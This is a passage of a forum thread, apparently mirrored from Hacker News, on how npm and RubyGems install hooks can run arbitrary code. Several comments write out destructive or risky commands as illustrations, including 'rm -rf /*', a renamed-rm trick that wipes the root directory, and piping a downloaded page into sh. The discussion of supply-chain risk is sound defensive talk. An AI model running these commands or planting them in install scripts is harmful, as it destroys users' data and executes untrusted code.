Npm install could be dangerous • Hacker News Board

Re: Npm install could be dangerous

#21

Post by tkone » Mon, Jan 26, 2015, 4:05 PM UTC

zobzu wrote: post #10

awareness for this is always good many now just have scripts doing curl blah | sudo and expecting the blah url will always serve the content they expect. signed versions seems to be the current best way to not have problems, even thus its not perfect. And of course, most things like npm either dont support this or dont support it well, or nobody cares about it

The good part about npm is that if you run it as `sudo` it will de-authenticate when it's running any script in it's package files. So at least those won't be run with sudo permission.

Re: Npm install could be dangerous

#22

Post by aioprisan » Mon, Jan 26, 2015, 4:06 PM UTC

quarterto wrote: post #15

jbrooksuk wrote: post #11

Earlier quoted context omitted.

Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)

How would it catch something like cp /bin/rm ponies ; ./ponies -rf /

or you can create a ponies alias, even more harmless-looking

Re: Npm install could be dangerous

#23

Post by crazydoggers » Mon, Jan 26, 2015, 4:07 PM UTC

tootie wrote: post #6

I could just as easily embed something like that in any code on any open source project in any language as part of the installer or the main code base.

Bingo... pretty trivial to stick an `rm -rf /*` shell call somewhere in your code. Not sure what difference it makes whether it's in a package manager file, or the code. Lesson... read the code before running it.

Title of the post should be "Running code you haven't read can be dangerous"

Re: Npm install could be dangerous

#24

Post by glittershark » Mon, Jan 26, 2015, 4:07 PM UTC

billyhoffman wrote: post #13

rooodini wrote: post #9

> […] as dangerous as `curl dangerous.com | sh`. dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is probably fine.

I often wonder about the results of people using functional hostnames in their examples. Most PoC exploit code use "target.com" as a place holder which makes sense, but hilariously is also the hostname for US retailer Target...

This is exactly the reason example.com exists

Re: Npm install could be dangerous

#25

Post by jackweirdy » Mon, Jan 26, 2015, 4:09 PM UTC

jaxbot wrote: post #14

jbrooksuk wrote: post #11

Earlier quoted context omitted.

Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)

See Halting Problem: http://en.wikipedia.org/wiki/Halting_problem ELI5: It is proven to be impossible to tell exactly what a program is going to do without executing it.

The Halting Problem says it’s impossible to tell whether a program will naturally finish what it’s going to do without doing it.

You can obviously tell what a trivial program will do by looking at it.

Re: Npm install could be dangerous

#26

Post by lukeschlather » Mon, Jan 26, 2015, 4:09 PM UTC

jaxbot wrote: post #14

jbrooksuk wrote: post #11

Earlier quoted context omitted.

Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)

See Halting Problem: http://en.wikipedia.org/wiki/Halting_problem ELI5: It is proven to be impossible to tell exactly what a program is going to do without executing it.

For systems like rubygems and npm, a build tool that installs the gems with sudo on a clean system and flags obvious issues would be a good thing.

(If the halting problem is a problem, try executing it in a sandbox.)

Re: Npm install could be dangerous

#27

Post by byroot » Mon, Jan 26, 2015, 4:12 PM UTC

tenderlove wrote: post #4

It's not just Npm, RubyGems has essentially the same issue. I think the real lesson is "be careful what you install".

Well, to rubygems's credit they know post install scripts are a bad idea and they don't support it. The only way to do that in a gem is a hack based on extconf.rb (the original intent of this file being to compile native extensions).

But yes ultimately you are right.

Re: Npm install could be dangerous

#28

Post by raesene5 » Mon, Jan 26, 2015, 4:17 PM UTC

This is a problem with most/all lib installers. They tend to have hooks to allow post-install actions and those hooks tend to be able to run OS commands, with the privileges of the installing user.

Of course what's extra worrying is it's not just the libs you directly install, but all their dependencies which get to carry out these actions. So for example when you install rails, it will install quite a large number of subsidiary gems.

Then when you add in the fact that the credentials that control dev access to push to places like rubygems and npm are just static username/password combos (which sometimes get stored in plain text in a dot file in the developers home dir) and that there's no common use of digital signing for issued libs (in some cases the installers don't even support it).

Re: Npm install could be dangerous

#29

Post by endergen » Mon, Jan 26, 2015, 4:17 PM UTC

Any package manager, especially one with fuzzy matching is extremely dangerous. Every time you do an install you are often pulling hundreds of modules from many many places. If any one of the codebases of a module were compromised even by a sneaky contributor, you could inject arbitrary code into any companies codebase/runtime.

Until object capability type systems become more popular, this will always be an issue. Unless you hand audit everything. Good luck being productive doing that, if you even have the skills or team members able to audit code.

Re: Npm install could be dangerous

#30

Post by icebraining » Mon, Jan 26, 2015, 4:17 PM UTC

quarterto wrote: post #15

jbrooksuk wrote: post #11

Earlier quoted context omitted.

Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)

How would it catch something like cp /bin/rm ponies ; ./ponies -rf /

The same way checkinstall detects which files have been installed - it overrides the relevant syscalls when running the program/script: http://asic-linux.com.mx/~izto/checkinstall/installwatch.htm...

Of course, not everything is as obvious to detect as deleting files :)